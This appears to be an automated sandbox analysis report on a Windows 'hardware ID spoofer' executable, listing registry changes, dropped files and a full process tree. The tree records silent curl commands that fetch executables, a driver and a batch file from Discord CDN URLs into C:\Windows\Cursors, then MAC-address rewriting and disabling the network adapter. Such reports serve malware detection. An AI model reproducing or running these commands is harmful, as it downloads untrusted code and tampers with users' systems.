hxxps://anonfiles[.]com/0cQ2Ib01z5/1337_Spoofer_exe

Analysis

max time kernel
51s
max time network
168s
platform
windows10-2004_x64
resource
win10v2004-20230703-en
resource tags

arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
submitted
13/07/2023, 02:28

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://anonfiles.com/0cQ2Ib01z5/1337_Spoofer_exe

Score

8^/10

Malware Config

Signatures

Downloads MZ/PE file

Executes dropped EXE 2 IoCs

pid	Process
3820	1337 Spoofer.exe
3820	1337 Spoofer.exe

Drops file in Windows directory 10 IoCs

description	ioc	Process
File created	C:\Windows\Cursors\Volumeid64.exe	curl.exe
File created	C:\Windows\Cursors\Volumeid64.exe	curl.exe
File created	C:\Windows\Cursors\AMIDEWINx64.EXE	curl.exe
File created	C:\Windows\Cursors\amifldrv64.sys	curl.exe
File created	C:\Windows\Cursors\Volumeid.exe	curl.exe
File created	C:\Windows\Cursors\Volumeid.exe	curl.exe
File created	C:\Windows\Cursors\Mac.bat	curl.exe
File created	C:\Windows\Cursors\Mac.bat	curl.exe
File created	C:\Windows\Cursors\AMIDEWINx64.EXE	curl.exe
File created	C:\Windows\Cursors\amifldrv64.sys	curl.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 6 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133336889489742962"	chrome.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@%SystemRoot%\system32\hnetcfgclient.dll,-201 = "HNetCfg Client"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133336889489742962"	chrome.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@%SystemRoot%\system32\hnetcfgclient.dll,-201 = "HNetCfg Client"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs

pid	Process
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	100	chrome.exe
Token: SeCreatePagefilePrivilege	100	chrome.exe
Token: SeShutdownPrivilege	100	chrome.exe
Token: SeCreatePagefilePrivilege	100	chrome.exe
Token: SeShutdownPrivilege	100	chrome.exe
Token: SeCreatePagefilePrivilege	100	chrome.exe
Token: SeShutdownPrivilege	100	chrome.exe
Token: SeCreatePagefilePrivilege	100	chrome.exe
Token: SeShutdownPrivilege	100	chrome.exe
Token: SeCreatePagefilePrivilege	100	chrome.exe
Token: SeShutdownPrivilege	100	chrome.exe
Token: SeCreatePagefilePrivilege	100	chrome.exe
Token: SeShutdownPrivilege	100	chrome.exe
Token: SeCreatePagefilePrivilege	100	chrome.exe
Token: SeShutdownPrivilege	100	chrome.exe
Token: SeCreatePagefilePrivilege	100	chrome.exe
Token: SeShutdownPrivilege	100	chrome.exe
Token: SeCreatePagefilePrivilege	100	chrome.exe
Token: SeShutdownPrivilege	100	chrome.exe
Token: SeCreatePagefilePrivilege	100	chrome.exe
Token: SeShutdownPrivilege	100	chrome.exe
Token: SeCreatePagefilePrivilege	100	chrome.exe
Token: SeShutdownPrivilege	100	chrome.exe
Token: SeCreatePagefilePrivilege	100	chrome.exe
Token: SeShutdownPrivilege	100	chrome.exe
Token: SeCreatePagefilePrivilege	100	chrome.exe
Token: SeShutdownPrivilege	100	chrome.exe
Token: SeCreatePagefilePrivilege	100	chrome.exe
Token: SeShutdownPrivilege	100	chrome.exe
Token: SeCreatePagefilePrivilege	100	chrome.exe
Token: SeShutdownPrivilege	100	chrome.exe
Token: SeCreatePagefilePrivilege	100	chrome.exe
Token: SeShutdownPrivilege	100	chrome.exe
Token: SeCreatePagefilePrivilege	100	chrome.exe
Token: SeShutdownPrivilege	100	chrome.exe
Token: SeCreatePagefilePrivilege	100	chrome.exe
Token: SeShutdownPrivilege	100	chrome.exe
Token: SeCreatePagefilePrivilege	100	chrome.exe
Token: SeShutdownPrivilege	100	chrome.exe
Token: SeCreatePagefilePrivilege	100	chrome.exe
Token: SeShutdownPrivilege	100	chrome.exe
Token: SeCreatePagefilePrivilege	100	chrome.exe
Token: SeShutdownPrivilege	100	chrome.exe
Token: SeCreatePagefilePrivilege	100	chrome.exe
Token: SeShutdownPrivilege	100	chrome.exe
Token: SeCreatePagefilePrivilege	100	chrome.exe
Token: SeShutdownPrivilege	100	chrome.exe
Token: SeCreatePagefilePrivilege	100	chrome.exe
Token: SeShutdownPrivilege	100	chrome.exe
Token: SeCreatePagefilePrivilege	100	chrome.exe
Token: SeShutdownPrivilege	100	chrome.exe
Token: SeCreatePagefilePrivilege	100	chrome.exe
Token: SeShutdownPrivilege	100	chrome.exe
Token: SeCreatePagefilePrivilege	100	chrome.exe
Token: SeShutdownPrivilege	100	chrome.exe
Token: SeCreatePagefilePrivilege	100	chrome.exe
Token: SeShutdownPrivilege	100	chrome.exe
Token: SeCreatePagefilePrivilege	100	chrome.exe
Token: SeShutdownPrivilege	100	chrome.exe
Token: SeCreatePagefilePrivilege	100	chrome.exe
Token: SeShutdownPrivilege	100	chrome.exe
Token: SeCreatePagefilePrivilege	100	chrome.exe
Token: SeShutdownPrivilege	100	chrome.exe
Token: SeCreatePagefilePrivilege	100	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe

Suspicious use of SendNotifyMessage 48 IoCs

pid	Process
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe
100	chrome.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3820	1337 Spoofer.exe
3820	1337 Spoofer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 100 wrote to memory of 3940	100	chrome.exe	54
PID 100 wrote to memory of 3940	100	chrome.exe	54
PID 100 wrote to memory of 4740	100	chrome.exe	87
PID 100 wrote to memory of 4740	100	chrome.exe	87
PID 100 wrote to memory of 4740	100	chrome.exe	87
PID 100 wrote to memory of 4740	100	chrome.exe	87
PID 100 wrote to memory of 4740	100	chrome.exe	87
PID 100 wrote to memory of 4740	100	chrome.exe	87
PID 100 wrote to memory of 4740	100	chrome.exe	87
PID 100 wrote to memory of 4740	100	chrome.exe	87
PID 100 wrote to memory of 4740	100	chrome.exe	87
PID 100 wrote to memory of 4740	100	chrome.exe	87
PID 100 wrote to memory of 4740	100	chrome.exe	87
PID 100 wrote to memory of 4740	100	chrome.exe	87
PID 100 wrote to memory of 4740	100	chrome.exe	87
PID 100 wrote to memory of 4740	100	chrome.exe	87
PID 100 wrote to memory of 4740	100	chrome.exe	87
PID 100 wrote to memory of 4740	100	chrome.exe	87
PID 100 wrote to memory of 4740	100	chrome.exe	87
PID 100 wrote to memory of 4740	100	chrome.exe	87
PID 100 wrote to memory of 4740	100	chrome.exe	87
PID 100 wrote to memory of 4740	100	chrome.exe	87
PID 100 wrote to memory of 4740	100	chrome.exe	87
PID 100 wrote to memory of 4740	100	chrome.exe	87
PID 100 wrote to memory of 4740	100	chrome.exe	87
PID 100 wrote to memory of 4740	100	chrome.exe	87
PID 100 wrote to memory of 4740	100	chrome.exe	87
PID 100 wrote to memory of 4740	100	chrome.exe	87
PID 100 wrote to memory of 4740	100	chrome.exe	87
PID 100 wrote to memory of 4740	100	chrome.exe	87
PID 100 wrote to memory of 4740	100	chrome.exe	87
PID 100 wrote to memory of 4740	100	chrome.exe	87
PID 100 wrote to memory of 4740	100	chrome.exe	87
PID 100 wrote to memory of 4740	100	chrome.exe	87
PID 100 wrote to memory of 4740	100	chrome.exe	87
PID 100 wrote to memory of 4740	100	chrome.exe	87
PID 100 wrote to memory of 4740	100	chrome.exe	87
PID 100 wrote to memory of 4740	100	chrome.exe	87
PID 100 wrote to memory of 4740	100	chrome.exe	87
PID 100 wrote to memory of 4740	100	chrome.exe	87
PID 100 wrote to memory of 4716	100	chrome.exe	88
PID 100 wrote to memory of 4716	100	chrome.exe	88
PID 100 wrote to memory of 1712	100	chrome.exe	89
PID 100 wrote to memory of 1712	100	chrome.exe	89
PID 100 wrote to memory of 1712	100	chrome.exe	89
PID 100 wrote to memory of 1712	100	chrome.exe	89
PID 100 wrote to memory of 1712	100	chrome.exe	89
PID 100 wrote to memory of 1712	100	chrome.exe	89
PID 100 wrote to memory of 1712	100	chrome.exe	89
PID 100 wrote to memory of 1712	100	chrome.exe	89
PID 100 wrote to memory of 1712	100	chrome.exe	89
PID 100 wrote to memory of 1712	100	chrome.exe	89
PID 100 wrote to memory of 1712	100	chrome.exe	89
PID 100 wrote to memory of 1712	100	chrome.exe	89
PID 100 wrote to memory of 1712	100	chrome.exe	89
PID 100 wrote to memory of 1712	100	chrome.exe	89
PID 100 wrote to memory of 1712	100	chrome.exe	89
PID 100 wrote to memory of 1712	100	chrome.exe	89
PID 100 wrote to memory of 1712	100	chrome.exe	89
PID 100 wrote to memory of 1712	100	chrome.exe	89
PID 100 wrote to memory of 1712	100	chrome.exe	89
PID 100 wrote to memory of 1712	100	chrome.exe	89
PID 100 wrote to memory of 1712	100	chrome.exe	89
PID 100 wrote to memory of 1712	100	chrome.exe	89

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" "--simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT'" https://anonfiles.com/0cQ2Ib01z5/1337_Spoofer_exe
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:100
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa1ae29758,0x7ffa1ae29768,0x7ffa1ae29778
  2⤵
  PID:3940
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1776 --field-trial-handle=1688,i,2275453593706701047,13841181993746030726,131072 /prefetch:2
  2⤵
  PID:4740
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=1688,i,2275453593706701047,13841181993746030726,131072 /prefetch:8
  2⤵
  PID:4716
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2228 --field-trial-handle=1688,i,2275453593706701047,13841181993746030726,131072 /prefetch:8
  2⤵
  PID:1712
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2864 --field-trial-handle=1688,i,2275453593706701047,13841181993746030726,131072 /prefetch:1
  2⤵
  PID:1904
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2868 --field-trial-handle=1688,i,2275453593706701047,13841181993746030726,131072 /prefetch:1
  2⤵
  PID:4100
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4616 --field-trial-handle=1688,i,2275453593706701047,13841181993746030726,131072 /prefetch:1
  2⤵
  PID:916
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5168 --field-trial-handle=1688,i,2275453593706701047,13841181993746030726,131072 /prefetch:8
  2⤵
  PID:4768
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5356 --field-trial-handle=1688,i,2275453593706701047,13841181993746030726,131072 /prefetch:8
  2⤵
  PID:4356
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5276 --field-trial-handle=1688,i,2275453593706701047,13841181993746030726,131072 /prefetch:8
  2⤵
  PID:1716
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=11 --mojo-platform-channel-handle=4976 --field-trial-handle=1688,i,2275453593706701047,13841181993746030726,131072 /prefetch:1
  2⤵
  PID:3420
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=12 --mojo-platform-channel-handle=3124 --field-trial-handle=1688,i,2275453593706701047,13841181993746030726,131072 /prefetch:1
  2⤵
  PID:544
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4852 --field-trial-handle=1688,i,2275453593706701047,13841181993746030726,131072 /prefetch:8
  2⤵
  PID:5064
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5812 --field-trial-handle=1688,i,2275453593706701047,13841181993746030726,131072 /prefetch:8
  2⤵
  PID:5108
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5788 --field-trial-handle=1688,i,2275453593706701047,13841181993746030726,131072 /prefetch:8
  2⤵
  PID:3740
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5932 --field-trial-handle=1688,i,2275453593706701047,13841181993746030726,131072 /prefetch:8
  2⤵
  PID:3340
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5928 --field-trial-handle=1688,i,2275453593706701047,13841181993746030726,131072 /prefetch:8
  2⤵
  PID:2068
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5820 --field-trial-handle=1688,i,2275453593706701047,13841181993746030726,131072 /prefetch:8
  2⤵
  PID:864
- C:\Users\Admin\Downloads\1337 Spoofer.exe
  "C:\Users\Admin\Downloads\1337 Spoofer.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:3820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:1708
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c Del C:\Windows\Cursors\AMIDEWINx64.EXE >nul 2>&1
    3⤵
    PID:5108
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c Del C:\Windows\Cursors\amifldrv64.sys >nul 2>&1
    3⤵
    PID:2804
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic cpu get serialnumber
      4⤵
      PID:224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c Del C:\Windows\Cursors\Mac.bat >nul 2>&1
    3⤵
    PID:4572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c Del C:\Windows\Cursors\Volumeid.exe >nul 2>&1
    3⤵
    PID:2160
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c Del C:\Windows\Cursors\Volumeid64.exe >nul 2>&1
    3⤵
    PID:3256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:3680
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:3728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:4496
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c Echo CPU
    3⤵
    PID:1776
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic cpu get serialnumber
    3⤵
    PID:2804
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c Echo Bios
    3⤵
    PID:3256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic bios get serialnumber
    3⤵
    PID:3680
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic bios get serialnumber
      4⤵
      PID:1148
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c Echo Motherboard
    3⤵
    PID:1716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic baseboard get serialnumber
    3⤵
    PID:1080
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic baseboard get serialnumber
      4⤵
      PID:2520
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c pause >nul
    3⤵
    PID:2280
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:2508
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:4572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl --silent https://cdn.discordapp.com/attachments/1119643834998071318/1122966858539225199/AMIDEWINx64.EXE --output C:\Windows\Cursors\AMIDEWINx64.EXE >nul 2>&1
    3⤵
    PID:2804
  - - C:\Windows\system32\curl.exe
      curl --silent https://cdn.discordapp.com/attachments/1119643834998071318/1122966858539225199/AMIDEWINx64.EXE --output C:\Windows\Cursors\AMIDEWINx64.EXE
      4⤵
      Drops file in Windows directory
      PID:3256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl --silent https://cdn.discordapp.com/attachments/1119643834998071318/1122966868681043988/amifldrv64.sys --output C:\Windows\Cursors\amifldrv64.sys >nul 2>&1
    3⤵
    PID:3316
  - - C:\Windows\system32\curl.exe
      curl --silent https://cdn.discordapp.com/attachments/1119643834998071318/1122966868681043988/amifldrv64.sys --output C:\Windows\Cursors\amifldrv64.sys
      4⤵
      Drops file in Windows directory
      PID:4588
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl --silent https://cdn.discordapp.com/attachments/1119643834998071318/1122966882983616552/Volumeid.exe --output C:\Windows\Cursors\Volumeid.exe >nul 2>&1
    3⤵
    PID:1148
  - - C:\Windows\system32\curl.exe
      curl --silent https://cdn.discordapp.com/attachments/1119643834998071318/1122966882983616552/Volumeid.exe --output C:\Windows\Cursors\Volumeid.exe
      4⤵
      Drops file in Windows directory
      PID:3680
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl --silent https://cdn.discordapp.com/attachments/1119643834998071318/1122966892546625646/Volumeid64.exe --output C:\Windows\Cursors\Volumeid64.exe >nul 2>&1
    3⤵
    PID:4672
  - - C:\Windows\system32\curl.exe
      curl --silent https://cdn.discordapp.com/attachments/1119643834998071318/1122966892546625646/Volumeid64.exe --output C:\Windows\Cursors\Volumeid64.exe
      4⤵
      Drops file in Windows directory
      PID:4300
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl --silent https://cdn.discordapp.com/attachments/1119643834998071318/1122966901392412682/Mac.bat --output C:\Windows\Cursors\Mac.bat >nul 2>&1
    3⤵
    PID:4812
  - - C:\Windows\system32\curl.exe
      curl --silent https://cdn.discordapp.com/attachments/1119643834998071318/1122966901392412682/Mac.bat --output C:\Windows\Cursors\Mac.bat
      4⤵
      Drops file in Windows directory
      PID:3860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\Cursors\Mac.bat
    3⤵
    PID:3100
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wmic nic where physicaladapter=true get deviceid | findstr [0-9]
      4⤵
      PID:1528
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic nic where physicaladapter=true get deviceid
        5⤵
        
        PID:1992
    - - C:\Windows\system32\findstr.exe
        
        findstr [0-9]
        5⤵
        
        PID:4768
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\01
      4⤵
      PID:5116
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\001
      4⤵
      PID:1480
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001
      4⤵
      PID:2996
  - - C:\Windows\system32\reg.exe
      REG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001 /v NetworkAddress /t REG_SZ /d AA80299F0033 /f
      4⤵
      PID:4652
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wmic nic where physicaladapter=true get deviceid | findstr [0-9]
      4⤵
      PID:1060
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic nic where physicaladapter=true get deviceid
        5⤵
        
        PID:4856
    - - C:\Windows\system32\findstr.exe
        
        findstr [0-9]
        5⤵
        
        PID:1488
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\01
      4⤵
      PID:2504
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\001
      4⤵
      PID:2924
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001
      4⤵
      PID:1076
  - - C:\Windows\system32\reg.exe
      REG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001 /v PnPCapabilities /t REG_DWORD /d 24 /f
      4⤵
      PID:4352
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic nic where (netconnectionid like '%') get netconnectionid,netconnectionstatus /format:csv"
      4⤵
      PID:2968
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic nic where (netconnectionid like '%') get netconnectionid,netconnectionstatus /format:csv
        5⤵
        
        PID:2148
  - - C:\Windows\system32\netsh.exe
      netsh interface set interface name="Ethernet" disable
      4⤵
      PID:4888

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:4220

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s Netman
1⤵
- Modifies data under HKEY_USERS
PID:3680

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" "--simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT'" https://anonfiles.com/0cQ2Ib01z5/1337_Spoofer_exe
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:100
